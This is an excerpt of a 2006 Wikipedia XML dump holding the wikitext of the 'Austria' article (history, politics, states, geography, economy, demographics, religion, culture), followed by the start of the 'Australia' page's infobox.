    <title>Austria</title>
    <id>576</id>
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      <id>42041443</id>
      <timestamp>2006-03-03T11:38:19Z</timestamp>
      <contributor>
        <username>Tasc</username>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/193.171.250.252|193.171.250.252]] to last version by Gugganij</comment>
      <text xml:space="preserve">{{Infobox_Country|
common_name 		= Austria|
native_name 		= Republik Österreich|
image_flag 		= Flag of Austria.svg|
image_coat 		= Austria Bundesadler.svg|
image_map 		= LocationAustria.png|
national_motto 		= none|
national_anthem 	= [[Land der Berge, Land am Strome]]|
official_languages 	= [[German language|German]]&lt;br&gt;[[Slovenian language|Slovenian]]&amp;nbsp;([[regional language|reg.]]) [[Croatian language|Croatian]]&amp;nbsp;(reg.) [[Hungarian language|Hungarian]]&amp;nbsp;(reg.)|
capital 		= [[Vienna]] |latd=48|latm=12|latNS=N|longd=16|longm=21|longEW=E|
largest_city 		= Vienna |
government_type 	= [[Republic]] |
leader_titles 		= [[Federal President of Austria|President]]&lt;br&gt;[[Chancellor of Austria|Chancellor]]|
leader_names 		= [[Heinz Fischer]]&lt;br&gt;[[Wolfgang Schüssel]]|
area 			= 83,871|area_rank=113th|area_magnitude=1 E10|percent_water=1.3|
areami²                 = 32,383 | &lt;!-- Do not remove [[WP:MOSNUM]] --&gt;
population_estimate 	= 8,206,524|population_estimate_year=2005|population_estimate_rank=86th|
population_density 	= 97|population_density_rank=78th |
population_densitymi²   = 251 | &lt;!-- Do not remove [[WP:MOSNUM]] --&gt;
population_census 	= 8,032,926|population_census_year=2001|
GDP_PPP 		= $267 billion|GDP_PPP_year=2005|GDP_PPP_rank=35th|
GDP_nominal		= $318 billion|GDP_nominal_year=2005|GDP_nominal_rank=22nd|
GDP_PPP_per_capita 	= $32,962|GDP_PPP_per_capita_rank=9th|
GDP_nominal_per_capita 	= $39,292|GDP_nominal_per_capita_rank=10th|
HDI_year                = 2003|
HDI                     = 0.936|
HDI_rank                = 17th|
HDI_category            = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;|
sovereignty_type 	= [[Independence]]|
established_events 	= From [[Austria-Hungary]]|established_dates=&lt;br&gt;1919|
currency 	 	= [[Austrian euro coins|Euro]]&amp;sup1;|currency_code=EUR|
time_zone 	 	= [[Central European Time|CET]] |utc_offset=+1 |
time_zone_DST	 	= [[Central European Summer Time|CEST]] |utc_offset_DST=+2 |
cctld		 	= [[.at]] |
calling_code	 	= 43|
footnotes 	 	= &amp;sup1; Prior to 2002: Austrian [[Schilling]]|
}}

The '''Republic of Austria''' ([[German language|German]]: ''Republik Österreich)'' is a [[landlocked]] country in central [[Central Europe|Europe]]. It borders [[Germany]] and the [[Czech Republic]] to the north, [[Slovakia]] and [[Hungary]] to the east, [[Slovenia]] and [[Italy]] to the south, and [[Switzerland]] and [[Liechtenstein]] to the west.  The capital is the city of [[Vienna]].

Austria is a parliamentary [[representative democracy]] consisting of nine federal states and is one of two European countries that have declared their everlasting [[neutral country|neutrality]], the other being Switzerland. Austria is a member of the [[United Nations]] (since 1955) and the [[European Union]] (since 1995). For the first half of 2006 Austria holds the seat of the [[Presidency of the Council of the European Union|Presidency of the EU]].

==Origin and history of the name==
The [[German language|German]] name ''Österreich'' can be translated into [[English language|English]] as the &quot;eastern realm&quot;, which is derived from the [[Old German]] ''[[Ostarrîchi]]''. ''Reich'' can also mean &quot;empire&quot;, and this connotation is the one that is understood in the context of the [[Austrian Empire|Austrian]]/[[Austria-Hungary|Austro-Hungarian Empire]], [[Holy Roman Empire]], although not in the context of the modern Republic of ''Österreich''. The term probably originates in a [[vernacular]] translation of the [[Medieval Latin]] name for the region: ''Marchia orientalis'', which translates as &quot;eastern border&quot;, as it was situated at the eastern edge of the [[Holy Roman Empire]], that was also mirrored in the name ''[[Ostmark]]'' applied after ''[[Anschluss]]'' to [[Germany]].

==History==
{{details|History of Austria}}

===Austria and the Holy Roman Empire===
The territory of Austria originally known as the [[Celts|Celtic]] kingdom of [[Noricum]], was a long time ally of Rome. It was occupied rather than conquered by the [[Ancient Rome|Romans]] during the reign of [[Caesar Augustus|Augustus]] and made the province Noricum  in [[16 BC]]. Later it was conquered by [[Huns]], Rugii,  [[Lombards]], [[Ostrogoth]]s, [[Bavarii]], [[Eurasian Avars|Avars]] (until c. 800),  and [[Franks]] (in that order). Finally, after 48 years of Hungarian rule (907 to 955), the core territory of Austria was awarded to [[Leopold I of Austria (Babenberg)| Leopold of Babenberg]] in 976. Being part of the [[Holy Roman Empire]] the Babenbergs ruled and expanded Austria from the 10th century to the 13th century.

[[image:Juliusz Kossak Sobieski pod Wiedniem.jpeg|thumb|left|250px|Battle of Vienna 1683]]

After Duke [[Frederick II]] died in 1246 and left no successor, [[Rudolf I of Habsburg]] gave the lands to his sons marking the beginning of the line of the [[Habsburg]]s, who continued to govern Austria until the 20th century.

With the short exception of [[Charles VII Albert]] of Bavaria, Austrian Habsburgs held the position of German Emperor beginning in 1438 with [[Albert II of Habsburg]] until the end of the [[Holy Roman Empire]]. During the [[14th century|14th]] and 15th century Austria continued to expand its territory until it reached the position of a European imperial power at the end of the 15th century until the end of the Habsburg monarchy in 1918.

===Modern history===
Just two years before the abolition of the [[Holy Roman Empire]] in 1806, in 1804 the [[Austrian Empire|Empire of Austria]] was founded, which was transformed in 1867 into the dual-monarchy [[Austria-Hungary]]. The empire was split into several independent states in 1918, after the defeat of the [[Central Powers]] in [[World War I]], with most of the German-speaking parts becoming a [[republic]]. (See [[Treaty of Saint-Germain]].) Between 1918 and 1919 it was officially known as the Republic of German Austria (''Republik Deutschösterreich''). After the [[Entente]] powers forbade German Austria to unite with Germany, they also forbade the name, and then it was changed to simply Republic of Austria. The democratic republic lasted until 1933 when the chancellor [[Engelbert Dollfuß]] established an autocratic regime oriented towards Italian fascism ([[Austrofascism]]).

Austria became part of [[Germany]] in 1938 through the [[Anschluß]] and remained under [[Nazis|Nazi]] rule until the end of [[World War II]]. After the defeat of the [[Axis Powers]], the [[Potsdam Conference|Allies occupied Austria]] until 1955, when the country became a fully independent republic under the condition that it would remain neutral (see: [[Austrian State Treaty]]). Austria also became a member of the UN in the same year. After the collapse of [[communist state]]s in [[Eastern Europe]], Austria became increasingly involved in European affairs, and in 1995, Austria joined the [[European Union]], and the [[Euro]] monetary system in 1999.

==Politics==
{{details|Politics of Austria}}
[[image:AustrianParliament.jpg|thumb|right|300px|Austrian Parliament in Vienna]]

Austria became a federal, [[parliamentary democracy|parliamentarian, democratic]] [[republic]] through the [[Federal Constitution (Austria)|Federal Constitution]] of 1920. It was reintroduced in 1945 to the nine [[States of Austria|states]] of the Federal Republic. The [[head of state]] is the [[President of Austria|Federal President]], who is directly elected. The chairman of the [[Government of Austria|Federal Government]] is the [[Chancellor of Austria|Federal Chancellor]], who is appointed by the president. The government can be removed from office by either a presidential decree or by [[vote of no confidence]] in the lower chamber of parliament, the [[National Council of Austria|Nationalrat]].

The [[Parliament of Austria]] consists of two chambers. The composition of the Nationalrat is determined every four years by a free general election in which every citizen is allowed to vote to fill its 183 seats. A &quot;Four Percent Hurdle&quot; prevents a large splintering of the political landscape in the Nationalrat by awarding seats only to political parties that have obtained at least a four percent threshold of the general vote, or alternatively, have won a direct seat, or ''Direktmandat'', in one of the 43 regional election districts. The Nationalrat is the dominant chamber in the formation of legislation in Austria. However, the upper house of parliament, the [[Federal Council of Austria|Bundesrat]] has a limited right of [[veto]] (the Nationalrat can - in most cases - pass the respective bill a second time bypassing the Bundesrat altogether). A convention, called the ''Österreich&amp;ndash;Konvent'' [http://www.konvent.gv.at/] was convened in [[June 30]], [[2003]] to decide upon suggestions to reform the constitution, but has failed to produce a proposal that would receive the two thirds of votes in the Nationalrat necessary for constitutional amendments and/or reform. However some important parts of the final report were generally agreed upon and are still expected to be implemented.

==Subdivisions==
{{details|States of Austria}}

A federal republic, Austria is divided into nine [[states]], ([[German language|German]]: ''[[States of Austria|Bundesländer]]''). These states are divided into [[district]]s (''[[Bezirke]]'') and cities (''[[Statutarstadt|Statutarstädte]]'').  Districts are subdivided into municipalities (''Gemeinden''). Cities have the competencies otherwise granted to both districts and municipalities. The states are not mere administrative divisions, but have some distinct legislative authority separate from the federal government.

[[Image:The States of Austria Numbered.png|right|States of Austria]]
{| border style=&quot;border-collapse:collapse&quot;
!colspan=2|[[English language|In English]]
!colspan=2|[[German language|In German]]
|-
![[States of Austria|State]] !! [[Capital]] !! State !! Capital
|-
|'''1''' [[Burgenland]]          ||[[Eisenstadt]]            ||Burgenland             ||Eisenstadt
|-
|'''2''' [[Carinthia (state)|Carinthia]]||[[Klagenfurt]]||Kärnten||Klagenfurt
|-
|'''3''' [[Lower Austria]]||[[St. Pölten]]||Niederösterreich||St. Pölten
|-
|'''4''' [[Upper Austria]]||[[Linz]]||Oberösterreich||Linz
|-
|'''5''' [[Salzburg (state)|Salzburg]]||[[Salzburg]]||Salzburg (Land)||Salzburg
|-
|'''6''' [[Styria (state)|Styria]]||[[Graz]]||Steiermark||Graz
|-
|'''7''' [[Tyrol (state)|Tyrol]]||[[Innsbruck]]||Tirol||Innsbruck
|-
|'''8''' [[Vorarlberg]]||[[Bregenz]]||Vorarlberg||Bregenz
|-
|'''9''' [[Vienna]]||[[Vienna]]||Wien (Land)||Wien
|}

==Geography==
{{details|Geography of Austria}}

[[image:Oesterreich topo.png|thumb|left|240px|Topography of Austria]]

Austria is a largely [[mountain]]ous country due to its location in the [[Alps]]. The [[Central Eastern Alps]], [[Northern Limestone Alps]] and [[Southern Limestone Alps]] are all partly in Austria.  Of the total area of Austria (84,000 km² or 32,000&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]]), only about a quarter can be considered low lying, and only 32% of the country is below 500 [[metre]]s (1,640&amp;nbsp;[[foot (unit of length)|ft]]).  The high mountainous Alps in the west of Austria flatten somewhat into low lands and plains in the east of the country.

[[Image:Au-map.png|thumb|right|240px|Map of Austria]]

Austria may be divided into 5 different areas.  The biggest area are the [[Eastern Alps|Austrian Alps]], which constitute 62% of Austria's total area. The Austrian foothills at the base of the [[Alps]] and the [[Carpathian Mountains|Carpathian]]s account for around 12% of its area.  The foothills in the east and areas surrounding the periphery of the Pannoni low country amount to about 12% of the total landmass. The second greater mountain area (much lower than the Alps) is situated in the north.  Known as the Austrian [[granite]] [[plateau]], it is located in the central area of the Bohemian Mass, and accounts for 10% of Austria.  The Austrian portion of the [[Viennese basin]] comprises the remaining 4%.

===Climate===
The greater part of Austria lies in the cool/temperate [[climate zone]] in which humid westerly winds predominate. With over half of the country dominated by the [[Alps]] the [[alpine climate]] is the predominant one. In the East the climate shows continental features with less rain than the areas with high rainfall averages. 
The six highest mountains in Austria are:

{|
|----- bgcolor=#DDDDDD
! &amp;nbsp;&amp;nbsp;
! Name
! &amp;nbsp;Height&amp;nbsp;(m)
!&amp;nbsp;Height&amp;nbsp;([[foot (unit of length)|ft]])
! Range
|----- bgcolor=#EEEEEE
| &amp;nbsp; &amp;nbsp;1 || [[Großglockner]]&amp;nbsp; &amp;nbsp;
| 3,797 m || 12,457 ft || [[Hohe Tauern]]
|----- bgcolor=#EEEEEE
| &amp;nbsp; &amp;nbsp;2 || [[Wildspitze]]&amp;nbsp; &amp;nbsp; || 3,768 m || 12,362 ft || [[Ötztal Alps]]
|----- bgcolor=#EEEEEE
| &amp;nbsp; &amp;nbsp;3 || [[Weißkugel]]&amp;nbsp; &amp;nbsp; || 3,739 m || 12,267 ft || [[Ötztal Alps]]
|----- bgcolor=#EEEEEE
| &amp;nbsp; &amp;nbsp;4 || [[Großvenediger]]&amp;nbsp; &amp;nbsp; || 3,674 m || 12,054 ft || [[Hohe Tauern]]
|----- bgcolor=#EEEEEE
| &amp;nbsp; &amp;nbsp;5 || [[Similaun]]&amp;nbsp; &amp;nbsp; || 3,606 m || 11,831 ft || [[Ötztal Alps]]
|----- bgcolor=#EEEEEE
| &amp;nbsp; &amp;nbsp;6 || [[Großes Wiesbachhorn]]&amp;nbsp; &amp;nbsp; || 3,571 m || 11,715 ft || [[Hohe Tauern]]
|----- bgcolor=#EEEEEE
|}

==Economy==
{{details|Economy of Austria}}
[[Image:20ec_oes.png|320px|right|frame| The [[Belvedere (palace)|Belvedere]] Palace, an example of the [[Baroque]] ]]

Austria has a well-developed [[social market economy]] and a high [[standard of living]]. Until the 1980s many of Austria's largest industry firms were nationalised, however in recent years privatisation has reduced state holdings to a level comparable to other European economies. Labour movements are particularly strong in Austria and have large influence on labour politics.

[[Germany]] has historically been the main trading partner of Austria, making it vulnerable to rapid changes in the [[German economy]]. Slow growth in Germany and elsewhere in the world affected Austria, slowing its growth to 1.2% in 2001. But since Austria became a member state of the [[European Union]] it has gained closer ties to other [[European Union]] economies, reducing its economic dependence on Germany. In addition, membership in the EU has drawn an influx of foreign investors attracted by Austria's access to the single European market and proximity to EU aspiring economies. Therefore estimates of growth in 2005 (up to 2%) are much more favourable than in the crippling German economy.

'''Agriculture''': Austrian farms, like those of other west European mountainous countries, are small and fragmented, and production is relatively expensive.

'''Industry''':  Although some industries, such as several iron and steel works and chemical plants, are large industrial enterprises employing thousands of people, most industrial and commercial enterprises in Austria are relatively small on an international scale.

'''Services''': Like in other western countries, the biggest contributor to Austria's GDP is its service sector. Most notably is [[tourism]], especially [[winter]] [[tourism]].

To meet increased competition from both EU and Central European countries, Austria will need to emphasize knowledge-based sectors of the economy, continue to deregulate the [[service sector]], and lower its tax burden.

See also: [[List of Austrian companies]]

==Demographics==
{{details|Demographics of Austria}}
[[image:1Canaletto-Wien-Belvedere.jpg|thumb|right|300px|[[Vienna]] during the first half of the 18th century, painting by [[Canaletto]].]]

Austria's capital [[Vienna]] is one of Europe's major cities with a population exceeding 1.6 million (2 million with suburbs) and constitutes a ''melting pot'' of citizens from all over Central and Eastern Europe. In contrast to this ''Metropolis'', other cities do not exceed 1 million inhabitants, in fact the second largest [[city]] [[Graz]] is home of 305,000 people (followed by [[Linz]] with 180,000, [[Salzburg]] with 145,000 and [[Innsbruck]] with 134,803 (2005). All other cities have fewer than 100,000 inhabitants.

Austrians of German mother tongue, by far the country's largest group, form 91.1% of Austria's population. The remaining [[number]] of Austria's people are of non-Austrian descent, many from surrounding countries, especially from the former [[Eastern Bloc|East Bloc]] nations. The Austrian federal states of [[Carinthia (state)|Carinthia]] and [[Styria (state)|Styria]] are home to a significant (indigenous) Slovenian minority with around 14,000 members (Austrian census; unofficial numbers of Slovene groups speak of about 40,000). So-called guest workers ''(Gastarbeiter)'' and their descendants also form an important [[minority group]] in Austria. Around 20,000 [[Hungarians]] and 30,000 [[Croatians]] live in the east-most Bundesland, [[Burgenland]] (formerly part of Hungary).

The official language, [[German language|German]], is spoken by almost all residents of the country. Austria's mountainous terrain led to the development of many distinct German dialects. All of the dialects in the [[country]], however, belong to [[Austro-Bavarian]] groups of German dialects, with the exception of the dialect spoken in its west-most Bundesland, [[Vorarlberg]], which belongs to the group of [[Alemannic German|Alemannic]] dialects.
There is also a distinct grammatical standard for [[Austrian language|Austrian]] German with a few differences to the German spoken in Germany.

===Politics concerning ethnic groups (Volksgruppenpolitik)===
An estimated 25,000-40,000 [[Slovenians]] in the Austrian state of [[Carinthia (state)|Carinthia]] as well as Croatians and [[Hungarians]] in Burgenland were recognized as a minority and have enjoyed special rights following the Austrian State Treaty (Staatsvertrag) of 1955. The Slovenians in the Austrian state of [[Styria (state)|Styria]] (estimated at a number between 1,600 and 5,000) are not recognized as a minority and do not enjoy special rights, although the State Treaty of July 27, 1955 states otherwise.
The right for bilingual topographic signs for the regions where Slovene and Croatian speaking Austrians live alongside with the German speaking population (as required by the 1955 State Treaty) is still to be fully implemented. There is also an undercurrent of thinking amongst parts of the Carenthian population that the [[Slovenian]] involvement in the partisan war against the [[Nazi]] occupation force was a bad thing, and indeed &quot;Tito partisan&quot; is a not an infrequent insult hurled against members of the minority. Many Carinthians are afraid of Slovenian territorial claims, pointing to the fact that Yugoslav troops entered the state after each of the two World Wars and considering that some official Slovenian atlases still show parts of Carinthia as Slovenian cultural territory. The current governor, [[Jörg Haider]], has made this fact a matter of public argument in fall 2005 by refusing to increase the number of bilingual topographic signs in Carinthia. A poll by the Kärntner Humaninstitut conducted in January 2006 states that 65% of Carinthians are not in favour of an increase of bilingual topographic signs, since the original requirements set by the State Treaty of 1955 have already been fulfilled according to their point of view.  Another interesting phenomenon is the so called &quot;Windischen-Theorie&quot; [http://de.wikipedia.org/wiki/Windischen-Theorie] stating that the Slovenians can be split in two groups: actual Slovenians and Windische, based on differences in language between Austrian Slovenians, who were taught Slovenian standard language in school and those Slovenians, who spoke their local Slovenian dialect but went to German schools. To the latter group the term &quot;Windische&quot; (originally the German word for Slovenians) was applied, claiming that they were a different ethnic group. This theory was never generally accepted and has been ultimately rejected several decades ago.

*[[List of cities in Austria]]

==Religion==
[[Image:Emperor_charles_v.png|thumb|right|250px|'''Charles V''' Austrian Habsburg ruler and one of the major figures within the [[Counter-Reformation]].]]

While northern and central Germany was the origin of the [[Reformation]], Austria (and Bavaria) were the heart of the [[Counter-Reformation]] in the [[16th century|16th]] and [[17th century|17th]] century, when the absolute monarchy of [[Habsburg]] imposed a strict regime to maintain [[Catholicism]]'s power and influence among Austrians. Despite this establishment of Catholicism as the predominant [[Christian]] religion (Protestants have throughout Austria's history remained a relatively small group), Austria's history as a multinational state has made it necessary for Habsburg rulers to deal with a heterogeneous religious population. Religious freedom was declared a constitutional right as early as 1867 and [[Austria-Hungary]] was home of numerous religions beside [[Roman Catholicism]] such as Greek, Serbian, Romanian, Russian, and Bulgarian [[Orthodox Christians]], [[Jew]]s,  [[Muslims]] (Austria neighboured the [[Ottoman empire]] for centuries), [[Mormons]] and both [[Calvinism|Calvinists]] and [[Lutheran]] [[Protestants]].

Still Austria remained largely influenced by Catholicism. After 1918 First Republic Catholic leaders such as [[Theodor Innitzer]] and [[Ignaz Seipel]] took leading positions within or close to the Austrian Government and increased their influence during the time of the [[Austrofascism]] – Catholicism was treated much like a [[state religion]] by dictators [[Engelbert Dollfuss]] and [[Kurt Schuschnigg]]. Although Catholic leaders welcomed the Germans in 1938 during the [[Anschluss]] of Austria into [[Germany]], Austrian Catholicism stopped its support of [[Nazism]] later on and many former religious public figures became involved with the resistance during the [[Third Reich]]. After 1945 a stricter secularism was imposed in Austria and religious influence on politics has nearly vanished.

As of the end of the 20th century about 73% of Austria's population are registered as Roman Catholic, while about 5% consider themselves [[Protestant]]s. Both these numbers have been on the decline for decades, especially Roman Catholicism, which has suffered an increasing number of seceders of the church. This is due partly to [[child sexual abuse]] scandals by priests as well as the alleged unwillingness of the Roman Catholic Church to implement reforms. In addition, Austrian Catholics are obliged to pay a mandatory tax (calculated by income – ca 1%) to the Austrian Roman Catholic Church, which acts as another incentive to leave the church.

About 12% of the population declare that they do not belong to any [[church]] or religious community. Of the remaining people, about 180,000 are members of the [[Eastern Orthodox|Eastern Orthodox Church]] and about 7,300 are [[Judaism|Jewish]]. It has to be noted that the Austrian Jewish Community of 1938 – Vienna alone counted more than 200,000, of which solely 4,000 to 5,000 remained after the [[World War II|Second World War]]. The influx of [[Eastern Europe|Eastern Europeans]], especially from the former Yugoslav nations, Albania and particularly from [[Turkey]] largely contributed to a substantial Muslim minority in Austria – around 300,000 are registered as members of various Muslim communities. The numbers of people adhering to the [[Islam]] has increased largely during the last years and is expected to grow in the future. [[Buddhism in Austria|Buddhism]], which was legally recognized as a religion in Austria in 1983, enjoys widespread acceptance and has a following of 20,000 (10,402 at the 2001 [[census]]).
A 2005 survey among 8,000 people in various [[Europe]]an countries showed that Austrians are still among the countries with the strongest belief in [[god (monotheism)|God]]. 84% of all Austrians do state they believe in God, with only [[Poland]] (97%), [[Portugal]] (90%) and [[Russia]] (87%) in front of the countries surveyed. This is a much larger figure than the European average of 71% or [[Germany]] with 67%. [http://www.readers-digest.de/service_fuer_journalisten/index.php?id=mrd&amp;no_cache=1&amp;tx_ttnews%5Btt_news%5D=251&amp;tx_ttnews%5BbackPid%5D=15]

==Culture==
{{details|Culture of Austria}}
{{Austrians}}
[[image:Wittgenstein2.jpg|thumb|left|150px|Ludwig Wittgenstein]]

Although Austria is a small country, its history as a world power and its unique cultural environment in the heart of Europe have generated contributions to mankind in every possible field. One might argue that Austria is internationally best known for its musicians. It has been the birthplace of many [[Music of Austria|famous composers]] such as [[Wolfgang Amadeus Mozart]], [[Haydn|Joseph Haydn]], [[Franz Schubert]], [[Anton Bruckner]], [[Johann Strauss, Sr.]], [[Johann Strauss, Jr.]] or [[Gustav Mahler]] as well as members of the [[Second Viennese School]] such as [[Arnold Schoenberg]], [[Anton Webern]] or [[Alban Berg]].

Complementing its status as a land of artists, Austria has always been a country of great poets, writers and novelists. It was the home of novelists [[Arthur Schnitzler]], [[Stefan Zweig]], [[Thomas Bernhard]] or [[Robert Musil]], of poets [[Georg Trakl]], [[Franz Werfel]], [[Franz Grillparzer]], [[Rainer Maria Rilke]] or [[Adalbert Stifter]]. Famous contemporary playwrights and novelists are [[Elfriede Jelinek]] and [[Peter Handke]]. Among Austrian artists and architects one can find painters [[Gustav Klimt]], [[Oskar Kokoschka]], [[Egon Schiele]] or [[Friedensreich Hundertwasser]],  photographer [[Inge Morath]] or architect [[Otto Wagner]].

Austria was the cradle of numerous scientists including physicists [[Ludwig Boltzmann]], [[Lise Meitner]], [[Erwin Schrödinger]], [[Ernst Mach]], [[Wolfgang Pauli]], [[Richard von Mises]] and [[Christian Doppler]], philosophers [[Ludwig Wittgenstein]] and [[Karl Popper]], biologists [[Gregor Mendel]] and [[Konrad Lorenz]] as well as mathematician [[Kurt Gödel]]. It was home to psychologists [[Sigmund Freud]], [[Alfred Adler]], [[Paul Watzlawick]] and [[Hans Asperger]], psychiatrist [[Viktor Frankl]], economists [[Joseph Schumpeter]], [[Eugen von Böhm-Bawerk]], [[Ludwig von Mises]], and [[Friedrich Hayek]] ([[Austrian School]]) and [[Peter Drucker]], and engineers such as [[Ferdinand Porsche]] and [[Siegfried Marcus]]. 

Although Austrians can look back with pride on their cultural past, current Austria does not stand back in art and science. Austria hosts a tremendous amount of culture, with its classical music festivals in [[Vienna]], [[Salzburg]] and [[Bregenz]], its modern artists and writers, its theatres and opera houses.

* [[List of Austrians]]
* [[Music of Austria]]

==Miscellaneous topics==
* [[Austrian folk dancing]]
* [[Austrian German]]
* [[Communications in Austria]]
* [[Cuisine of Austria]]
* [[Education in Austria]]
* [[Foreign relations of Austria]]
* [[Media in Austria|Media in Austria]]
* [[Military of Austria]]
* [[Public holidays in Austria]]
* [[Spanish Riding School]]
* [[Stamps and postal history of Austria]]
* [[Tourism in Austria]]
* [[Transportation in Austria]]

==References==
* References and bibliography can be found in the more detailed articles linked to in this article

==External links==
{{sisterlinks|Austria}}
* The ''[[aeiou Encyclopedia]]'' ([http://www.aeiou.at/;internal&amp;action=_setlanguage.action?LANGUAGE=en Homepage] | [http://www.aeiou.at/aeiou.encyclop.a Table of Contents] | [http://www.aeiou.at/;internal&amp;action=search.action Search])
* [http://www.oevsv.at Amateur Radio in Austria]
* [http://www.answers.com/austria Answers.com] Article on Austria
* [http://austria.europe-countries.com Austria in Pictures]
* [http://www.austria.info/ Austria.info] Official homepage of the Austrian National Tourist Office (German, English and other languages)
* [http://www.acfny.org Austrian Cultural Forum New York] Cultural meeting place in Manhattan
* [http://www.cookbookwiki.com/Category:Austrian Austrian Recipes on CookBookWiki.com]
* [http://www.austrosearch.at/ Austrosearch] Bilingual Austrian Search engine and Directory (German, English)
* [http://www.bundeskanzleramt.at/ Bundeskanzleramt Österreich/Federal Chancellor of Austria] Website of the Federal Chancellery of Austria (German, English)
* [http://www.cia.gov/cia/publications/factbook/geos/au.html Cia.gov] CIA's Factbook on Austria
* [http://www.dwellan.com/documents/links_at_en.html Dwellan.com] Tourism in Austria
* [http://www.loc.gov/rr/international/european/austria/au.html Library of Congress] Portals on the World - Austria
* [http://peter-diem.at/default_e.htm Peter Diem] The Symbols of Austria
* [http://www.photoglobe.info/ebooks/austria/ Photoglobe.info] Country Studies - Austria Info
* [http://radio.orf.at/ Radio-ORF] Austrian Radio stations - both classical and modern music (live feed)
* [http://www.tiscover.at/ Tiscover.at] Austria travel guide
* [http://www.state.gov/r/pa/ei/bgn/3165.htm US Department of State] Facts and Information (updated February 2005)
* [http://www.aua.com/ Austrian Airlines]

{{EU_countries}}
{{Europe}}
{{States of Austria}}

[[Category:Austria| ]]
[[Category:Erasmus Prize winners|Austria, People of]]
[[Category:Landlocked countries]]

[[af:Oostenryk]]
[[als:Österreich]]
[[ang:Ēastrīce]]
[[ar:نمسا]]
[[an:Austria]]
[[ast:Austria]]
[[bg:Австрия]]
[[zh-min-nan:Tang-kok]]
[[be:Аўстрыя]]
[[bn:অস্ট্রিয়া]]
[[bs:Austrija]]
[[br:Aostria]]
[[ca:Àustria]]
[[cs:Rakousko]]
[[cy:Awstria]]
[[da:Østrig]]
[[de:Österreich]]
[[et:Austria]]
[[el:Αυστρία]]
[[es:Austria]]
[[eo:Aŭstrio]]
[[eu:Austria]]
[[fa:اتریش]]
[[fo:Eysturríki]]
[[fr:Autriche]]
[[fy:Eastenryk]]
[[fur:Austrie]]
[[ga:An Ostair]]
[[gd:An Ostair]]
[[gl:Austria - Österreich]]
[[ko:오스트리아]]
[[hi:ऑस्ट्रिया]]
[[hr:Austrija]]
[[io:Austria]]
[[id:Austria]]
[[ia:Austria]]
[[is:Austurríki]]
[[it:Austria]]
[[he:אוסטריה]]
[[ka:ავსტრია]]
[[kw:Estrych]]
[[ku:Avusturya]]
[[la:Austria]]
[[lv:Austrija]]
[[lt:Austrija]]
[[lb:Éisträich]]
[[li:Oosteriek]]
[[hu:Ausztria]]
[[mk:Австрија]]
[[mt:Awstrija]]
[[ms:Austria]]
[[na:Austria]]
[[nl:Oostenrijk]]
[[nds:Österriek]]
[[ja:オーストリア]]
[[no:Østerrike]]
[[nn:Austerrike]]
[[oc:Àustria]]
[[os:Австри]]
[[pl:Austria]]
[[pt:Áustria]]
[[ro:Austria]]
[[rm:Austria]]
[[ru:Австрия]]
[[se:Nuortariika]]
[[sa:आस्ट्रिया]]
[[sq:Austria]]
[[sh:Austrija]]
[[scn:Austria]]
[[simple:Austria]]
[[sk:Rakúsko]]
[[sl:Avstrija]]
[[sr:Аустрија]]
[[fi:Itävalta]]
[[sv:Österrike]]
[[tl:Austria]]
[[ta:ஆஸ்திரியா]]
[[th:ประเทศออสเตรีย]]
[[vi:Áo]]
[[tr:Avusturya]]
[[uk:Австрія]]
[[yi:עסטרייך]]
[[zh:奥地利]]
[[fiu-vro:Austria]]</text>
    </revision>
  </page>
  <page>
    <title>Australia</title>
    <id>577</id>
    <restrictions>move=sysop</restrictions>
    <revision>
      <id>42149638</id>
      <timestamp>2006-03-04T03:38:21Z</timestamp>
      <contributor>
        <username>Jackp</username>
        <id>988990</id>
      </contributor>
      <comment>/* Geography */</comment>
      <text xml:space="preserve">{{otheruses}}
{{Infobox Country|the=|
native_name =Commonwealth of Australia|
common_name =Australia|
image_flag =Flag of Australia.svg|
image_coat =Aust Coat of Arms (large).jpg|
image_map =LocationAU.png|
national_motto =none (formerly ''Advance Australia'')|
national_anthem=''[[Advance Australia Fair]]''|
official_languages =[[English language|English]] (''de facto'')&lt;sup&gt;1&lt;/sup&gt;|
capital =[[Canberra]]|
latd=35|latm=15|latNS=S|longd=149|longm=28|longEW=E|
largest_city =[[Sydney]]|
government_type=[[Constitutional monarchy|Const. monarchy]]|
leader_titles = &amp;nbsp;• [[Queen of Australia|Queen]]&lt;br&gt;&amp;nbsp;• [[Governor-General of Australia|Governor-General]]&lt;br&gt;&amp;nbsp;• [[Prime Minister of Australia|Prime Minister]] |
leader_names = [[Elizabeth II of the United Kingdom|Elizabeth II]]&lt;br&gt;[[Michael Jeffery]]&lt;br&gt;[[John Howard]]|
area_rank=6th|
area_magnitude=1_E12|
area=7,686,850|
areami² = 2,967,909| &lt;!-- Do not remove [[WP:MOSNUM]]--&gt;
percent_water=1|
population_estimate = 20,502,900|
population_estimate_year = February 2006|
population_estimate_rank = 52nd |
population_census = 18,972,350 |
population_census_year = 2001|
population_density = 2|
population_densitymi² = 5.2|&lt;!-- Do not remove --&gt;
population_density_rank = 191st|
sovereignty_type=[[Independence]]|
established_events= &amp;nbsp;• [[Commonwealth of Australia Constitution Act 1900|Constitution Act]]&lt;br&gt; &amp;nbsp;• [[Statute of Westminster 1931|Statute of Westminster]]&lt;br&gt; &amp;nbsp;• [[Australia Act]]|
established_dates=From the [[United Kingdom|UK]]:&lt;br&gt;[[1 January]] [[1901]]&lt;br&gt;[[11 December]] [[1931]]&lt;br&gt;[[3 March]] [[1986]]|
currency=[[Australian dollar|Dollar]]|
currency_code=AUD|
time_zone=[[States and territories of Australia|various]]&lt;sup&gt;2&lt;/sup&gt;|
utc_offset=+8–+10|
time_zone_DST=[[States and territories of Australia|various]]&lt;sup&gt;2&lt;/sup&gt;|
utc_offset_DST=+8–+11|
cctld= [[.au]] |
calling_code=61|
GDP_PPP_year=2006|
GDP_PPP=$674.97 billion|
GDP_PPP_rank=16th|
GDP_PPP_per_capita=$32,686|
GDP_PPP_per_capita_rank=13th|
HDI_year=2003|
HDI=0.955|
HDI_rank=3rd|
HDI_category=&lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;|
